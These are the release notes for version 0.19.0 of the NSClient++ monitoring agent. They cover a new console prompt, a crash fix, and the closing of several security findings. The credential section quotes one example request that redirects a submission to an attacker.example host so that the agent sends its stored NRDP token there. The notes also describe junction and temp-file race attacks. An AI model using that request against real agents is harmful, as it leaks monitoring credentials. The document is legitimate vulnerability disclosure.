0.19.0 A real nscp test prompt, a crash fix for service filters¶
0.19.0 gives the interactive console a proper prompt โ line editing, history,
tab completion and highlighting โ and fixes a heap-corruption crash that took
the whole agent down whenever a check_service filter matched nothing (#1499).
A whole-codebase security review closed three findings: a client module’s
configured credential could be sent to a caller-chosen host, REST script
uploads were staged at a predictable path, and a junction defeated the
modern-layout lockdown of %ProgramData%\NSClient++. The collectd client was
reworked end to end โ host names resolve, timeout and retries are honoured,
failed sends are reported, datagrams are sized correctly and a multicast target
no longer fans out over every local interface.
Alongside that, the WEB server’s authentication limiter escalates against rapid-fire guessing, NRDP warns about an unverified TLS link, Icinga honours a base path in the target address, every documented query now has prose and captured samples, and the Upgrading and Security notices pages are assembled from one file per note with a module/version/action filter.
โจ Highlights¶
- ๐ฅ๏ธ
nscp testis a real prompt. On a terminal you get line editing, persistent per-user history, position-aware tab completion against the command registry, hints, and highlighting that turns an unknown query or module name red before you press enter. Log messages redraw around the line you are typing instead of landing in the middle of it. Piping commands in now works on Windows, and an exhausted stdin no longer spins a core at 100%. (#1488) - ๐ก๏ธ A
check_servicefilter that matched no service no longer kills the agent.check_service "filter=name = 'nosuchservice'"โ or a filter that merely missed on case โ terminatednscpwith exception code0xC0000374and no result. Bothcheck_servicekeywords andcheck_logfile’scolumn()now answer the documented empty-result contract, and every optional read in the tree goes through.value()so a future miss is a reported error, not a write to freed memory. (#1499) - ๐ Client credentials stay with their target.
host=,port=andaddress=moved a submission’s destination while the target’s configuredpasswordortokencame along, so any holder ofqueries.executecould have the agent post the NRDP token, the Icinga login, the SMTP login or the NSCA password to a host of their choosing. That combination is refused now;target=also works for queries, andallow host override = truerestores the old behaviour per target. (#1492) - ๐ Two more review findings closed.
PUT /api/v2/scripts/โฆstaged the upload at${temp}/<name>, where a local user could plant a file of the same name and have it imported as a command; it is staged in a randomly named, owner-only file now. On the opt-in modern layout, a pre-created junction at%ProgramData%\NSClient++had the lockdown secure the junction’s target; reparse points are refused and the installer, the migration and service start all fail on one. (#1492) - ๐ก The collectd client works the way its settings say. A target named by
host name threw on every metrics cycle;
timeoutandretrieswere read and ignored; a failed send looked exactly like a delivered one; a value list of a few hundred entries overflowed the 1452-byte datagram the receiver reads; and a multicast target sent a copy through every local interface, DMZ and guest NICs included. All fixed, with a new per-targetmulticast interfacesetting (auto, the default,all, or a list of local addresses). (#1494) - ๐ Failed WEB logins back off exponentially. The fixed 60-second block after ten failures let an attacker resume at a steady rate forever โ about 14 000 guesses a day per address. Each further block now doubles up to an hour, but only for a run of failures that burned the whole budget at machine speed, so a client retrying a stale password behind NAT cannot lock out everyone sharing its address. (#1493)
- ๐ง The console log is no longer held in a 64 KB buffer, so
nscp testshows log lines as they happen instead of when you press a key, and a redirected or supervised console streams.--no-stderrand theonelineformat finally take effect. (#1488) - ๐ Every documented query has a description and samples, captured against a running agent, with the errors the capture turned up corrected in the text. The Upgrading and Security notices pages are now built from one file per note, with a filter for the version you come from, the modules you run and whether a note needs action. (#1480, #1482)
๐ Detailed changes¶
๐ฅ๏ธ CommandClient โ nscp test gets a real prompt¶
The interactive console was a poll loop around std::getline: no line
editing, no history, no colour. When both stdin and stdout are a terminal it
now runs on replxx, vendored under
libs/replxx/ (byte-identical to upstream so provenance can be diffed; no
network needed at build time).
| History | Persistent, per user, saved after every command (nscp test is routinely killed). %APPDATA%\NSClient++\console-history.txt on Windows, $XDG_STATE_HOME/nscp/console-history or ~/.nscp_history elsewhere, created 0600 on POSIX. |
| Completion | Position-aware: built-in verbs and registered queries in command position, query names after desc, the query’s own parameter names as name= once you are typing arguments. load/enable offer the modules that are not yet loaded or enabled, unload/disable the ones that are. |
| Highlighting | A query or module name that does not resolve turns red before you press enter. |
| Hints | The command’s one-line description, greyed after the cursor. |
| Log | The agent logs from a background thread the whole time the prompt is up; messages are drawn above the prompt and the half-typed line redrawn underneath. Multi-line results keep their line breaks. |
Commands typed at a prompt can carry credentials, so a new [/settings/cli]
section controls what is kept: history size = 0 turns persistence off,
history file relocates it, color disables colour.
The first load <tab> of a session pauses while the core scans the module
directory; it is done once per process. help is now generated from the same
vocabulary as the prompt, so it lists all sixteen built-in verbs instead of the
eight it had drifted to, and an empty Performance data: line is no longer
printed after every result that has none. See
Test mode.
With stdin not a terminal nothing changes โ no prompt, no history, no colour โ except three fixes: piping commands in now works on Windows (the readiness check used a console-only API and silently ignored a file or pipe), an exhausted stdin parks the loop instead of spinning at 100% CPU on POSIX, and end of input is no longer treated as a reason to exit, which is how the agent is normally started under a supervisor.
To make this possible a module can now take the console over: the new
NSAPISetLogOption core API accepts the same strings as the --log switch,
and the prompt calls set_log_option("no-console") while it owns the
terminal. Fixing the one-way console flag exposed that oneline and
no-std-err were being forwarded to the log level parser, rejected with
Invalid log level: no-std-err, and never applied. Both reach the log driver
now.
๐ง Core โ the console log is flushed¶
The console log backend installed a 64 KB buffer on standard output and
nothing ever emptied it. MSVC’s stream honours that buffer, so on Windows log
output sat there until something else flushed the stream โ in nscp test
that was reading the next line of input, which is why the log appeared to
catch up only when you pressed a key. A redirected console (nscp test >
log.txt, a container, a supervisor) looked mute until 64 KB had built up or
the process exited. Every message is flushed as it is written now.
๐ก๏ธ Filters โ an empty filter result no longer corrupts the heap¶
When nothing matches a filter, the framework re-evaluates the warning and
critical expressions with no object bound to the evaluation context, so that an
expression which also reads the summary (โฆ or count = 0) still reaches a
verdict. check_service defaults to not state_is_perfect() and
not state_is_ok(), and both read the service straight off the context without
checking one was there. That dereferenced an empty optional, resurrecting a
destroyed shared_ptr control block out of the vacated storage; the copy taken
of it wrote to freed heap memory, and the process died somewhere unrelated with
0xC0000374 and no usable stack. debug=true masked it, because with debug on
the context keeps a copy of every object and the stray write lands on live
memory. check_logfile’s column() keyword had the same unguarded access.
Both keywords now report an unresolved value when no object is bound, as the
built-in keywords already did, and the check returns UNKNOWN: No services
found. The accessor underneath throws a filter error instead of reading the
vacated storage. Any host past allowed hosts could trigger this over NRPE
with allow arguments = true, and any authenticated REST client could; the
Unix implementation already had the guard and was never affected. (#1499)
As a follow-up, all 214 optional dereferences across 67 files were converted
to .value(), including the ones sitting under an if (opt) guard: the guard
is what a later edit moves or deletes, and uniformity is what makes the rule
checkable. .value() throws bad_optional_access, which the catch around
every filter evaluation turns into a reported error on the check.
๐ Client modules โ credentials pinned to their target¶
The shared client parser loads the module’s default target โ credential
included โ and then applies the request’s arguments on top. host=, port=
and address= moved the destination while the credential stayed, so
GET /api/v1/queries/submit_nrdp/commands/execute?address=http://attacker.example/nrdp/&command=x&result=0&message=x
had the agent post the configured NRDP token to the attacker. Both seeded REST
roles carry queries.execute and the permission policy is off by default, so a
checks-only REST user was enough; over NRPE it needed allow arguments = true.
Affected are the modules whose targets carry a credential: NSCA, NSCA-NG,
NRDP, Icinga, SMTP and NSCP.
A request that moves the destination away from the target’s configured address
is now refused when the credential that would travel is the target’s own. The
guard decides on two facts โ the resolved destination differs from the one the
target configured, and at least one credential still in the container is the
target’s rather than the request’s โ so a target with no credential, a request
that supplies its own password=/token=, and a request that does not move
the destination are all unaffected, and a destination moved through a header
host entry is caught too. allow host override = true on a target restores the
old behaviour explicitly.
target= now selects a configured target on the query path as well. It was
only ever applied when a command ran as an exec; as a query โ which is what a
REST or NRPE caller gets for check_* and submit_* โ it was accepted and
silently ignored, so the one remedy the refusal recommends did not work where
the refusal is most likely to be met.
๐ WEBServer โ script uploads are staged privately¶
PUT /api/v2/scripts/โฆ (admin only) wrote the body to ${temp}/<name> โ
/tmp, or C:\Windows\Temp for a SYSTEM service โ with an unchecked
truncating write, then imported it as a command. A local user who created that
file first won a race against the copy, or won outright where the service’s
overwrite was refused and the failure ignored, and the planted content then ran
as the service account. Stock DEB/RPM installs were not exploitable for code
execution (the service runs as nsclient and the script root is root-owned).
Uploads now go to a randomly named file, created exclusively and owner-only,
never through a symlink, with every write checked and the file removed once
consumed; a staging failure is reported as HTTP 500 instead of importing
whatever was on disk.
๐ Windows modern layout โ the shared folder must be a real directory¶
The opt-in, experimental LAYOUT=modern install keeps nsclient.ini, the
fleet private key and the TLS material in %ProgramData%\NSClient++ and locks
the folder down by taking ownership and replacing its DACL. Every step was
path-based, and a standard user can create a junction under that name before
the installer first runs: the owner and DACL were applied to the junction’s
target while the link stayed theirs to swap for a real folder with a crafted
nsclient.ini, which the next service start loaded as SYSTEM.
Ownership and the DACL are now applied through a handle opened on the entry
itself (FILE_FLAG_OPEN_REPARSE_POINT, one open per operation asking only for
the rights that operation needs), and anything that is not a plain directory
is refused โ by the installer, by nscp settings --migrate-layout modern, and
at service start. Legacy installs are untouched.
๐ก CollectdClient โ the sender reworked¶
| Problem | Fix |
|---|---|
A target address written as a host name threw on every metrics cycle (make_address() accepts IP literals only), so metrics silently never left. |
Addresses are resolved; an unresolvable target is reported by name. The first endpoint the resolver returns is used. |
timeout and retries were read into the connection and never used; the send was asynchronous and discarded its error code, so an unreachable target, a full socket buffer or an oversized datagram looked exactly like a delivered packet. |
The send is synchronous and checked. A locally failed send is retried up to retries times (default 3, 20 ms apart); the whole send, name resolution included, runs under timeout (default 30 s, 0 for no limit); failures are logged once per distinct message. A datagram the receiver already has is never sent twice. |
| Nothing bounded a values part, so a value list of a few hundred entries overflowed the 1452-byte datagram the collectd network plugin reads, and past ~3600 entries the part length wrapped and put a malformed part on the wire. One overlong host name could consume the whole packet. | Each metric is costed against what the packet has left and flushed first when it does not fit; identifiers are clamped to 127 bytes (what the receiver stores); values that cannot fit a datagram of their own are counted and the number dropped is logged. Packets fill to the real limit again instead of stopping at roughly half. |
A multicast target (no address configured โ 239.192.74.66:25826) sent a copy of every datagram through every local interface of the matching family โ unauthenticated cleartext host name, CPU, memory, uptime and process counts on every attached segment. On a Debian-style host whose name maps to 127.0.1.1 the enumeration yielded loopback only, so nothing left the machine at all. |
New per-target multicast interface: auto (default) sends one copy through the interface the routing table picks; all restores the fan-out; a comma-separated list of local IP addresses sends through exactly those, with an unusable entry reported and skipped and a wholly unusable list sending nothing rather than falling back to the default route. |
sent counted datagram ร socket while failed counted payloads, so the “not sent” count underflowed to about 1.8 ร 10ยนโน on a multi-interface target. |
A datagram is one unit of work whatever the interface count; sent + failed accounts for every payload. |
The UDP delivery half moved out of the module into net/collectd/, where it
is unit-tested against a real loopback socket, and the integration suite gained
a target named localhost.
๐ WEBServer โ escalating block on repeated authentication failures¶
The per-IP limiter blocked a client for a fixed auth rate limit block
seconds (default 60) after auth rate limit max failures (default 10)
consecutive failures and then reset its counter โ roughly 14 000 guesses a day
per source address, indefinitely, against Basic auth, the password header and
the legacy ?password= form check_nscp_api uses. Each consecutive block from
the same IP now doubles the wait, up to an hour; a configured block already
longer than that is used as configured. The escalation resets on a successful
authentication or after an hour of quiet.
Only a run of failures that burned the whole budget faster than one attempt
every two seconds escalates. The limiter keys on the socket peer, so behind
NAT or a reverse proxy every client shares one address, and a single
monitoring client retrying a stale password on a schedule must not be able to
ratchet that address up to the ceiling. Bearer / ?TOKEN= session tokens are
not metered: they are 256-bit random values, and counting an expired one
against the limit would let a client with a stale session lock its own address
out. This is defence in depth on top of PBKDF2 and the uniform 403; IP rotation
remains out of scope.
๐ NRDPClient โ an unverified TLS link is logged¶
An https submission whose verify mode carries no peer-verifying token
sends the token โ a shared secret โ to whichever server answers. The module now
logs that, naming the endpoint, once per target for the life of the process
(the Icinga client already did; a first cut logged on every submission, which
at a 60-second schedule is 1 440 lines a day). The connection itself is
unchanged. The verify mode help text is corrected in the same pass: it
recommended none for self-signed certificates and listed client-once,
workarounds and single, which the client-side parser rejects. Use
peer-cert with ca pointing at the certificate instead.
๐ง IcingaClient โ a base path in the target address is honoured¶
The path of a target address (https://proxy.example.com/icinga/) was
parsed into a field nothing read, so every call went to /v1/โฆ on the host and
an Icinga 2 master published under a reverse-proxy subpath could not be
reached. The prefix is normalised once (a doubled leading slash collapses to
one, no trailing slash) and prepended to every API path, for the submission and
the ensure-objects calls alike. Addresses without a path are unchanged.
๐ Documentation¶
- **Upgrading and Security notices can be filtered. The reader picks the version they come from, ticks the modules they run, and can restrict to security-relevant or action-needing notes; the selection is remembered and mirrored into the query string.
- Test mode has a page โ keys, what completion offers, where history is kept and how to turn it off, non-interactive behaviour, and the stop-the-service dance on both platforms.
- REUSE metadata matches the bundled headers: the asio and SimpleIni overrides carried copyright years from later releases than the copies vendored here. (#1486)
โ ๏ธ Upgrade notes¶
- ๐ A
check_servicefilter that matched no service no longer kills the agent. Nothing to configure. If you worked around it withservice=<exact name>and nofilter=, service name patterns are usable again. - ๐ A client target no longer lets a request send its configured
credential to a destination the request names. A
submit_*/check_*call that passeshost=,port=oraddress=against a target with apasswordortoken, without supplying the credential itself, now fails with an error naming the target. Pass the credential with the request, configure each server as its own target and select it withtarget=(which now works for queries too), or setallow host override = trueon the target. Targets without a credential are unaffected. - ๐ REST script uploads are staged in a private, randomly named file. No configuration change; a staging failure is now an HTTP 500.
- ๐ Modern layout (opt-in, experimental): the shared folder must be a real
directory. A
%ProgramData%\NSClient++that is a junction or symbolic link is refused by the installer, bynscp settings --migrate-layout modern, and at service start. Relocate the folder with a[paths]override inboot.iniinstead. Legacy installs are unaffected. - ๐ A multicast collectd target now sends through one interface, not all
of them. If you depend on a multicast target reaching several segments,
set
multicast interface = allon it, or list the local addresses to send through. Unicast targets ignore the setting. - ๐ Repeated rapid-fire failed WEB logins from one IP are blocked for
longer each time. Nothing to do on a default install. A probe that
deliberately authenticates with bad credentials will be blocked for longer;
auth rate limit max failures = 0still disables the limiter for a test harness. - ๐ An NRDP submission over an unverified
httpslink now says so in the log, once per target. If it names a target you expected to be verified, setverify mode = peer(orpeer-certwith aca). - ๐ง
nscp testwrites a per-user history file. Commands typed at the prompt can carry credentials; sethistory size = 0under[/settings/cli]to keep nothing on disk. With stdin not a terminal nothing changes, except that piping commands in now works on Windows and end of input no longer exits. - ๐ง The console log is no longer buffered, and
--no-stderrand theonelinelog format now take effect. Nothing to do unless you were working around either. - ๐ง
target=now selects a configured target on the query path. A REST or NRPE query that passedtarget=and relied on reachingdefaultanyway will now reach the target it named. - โฑ๏ธ collectd submissions honour
timeoutandretriesand report failed sends. Nothing to do unless you set a largeretrieson a collectd target โ it now costs real time, bounded bytimeout(default 30 s;timeout = 0for no limit). - ๐ง An Icinga target address with a path prefix is now sent. If a target address carries a path that is not a subpath of the API, remove it.
Full detail on the security items lives in Security notices; the operator actions are mirrored on Upgrading.
Download¶
You can download the new version from GitHub
// Michael Medin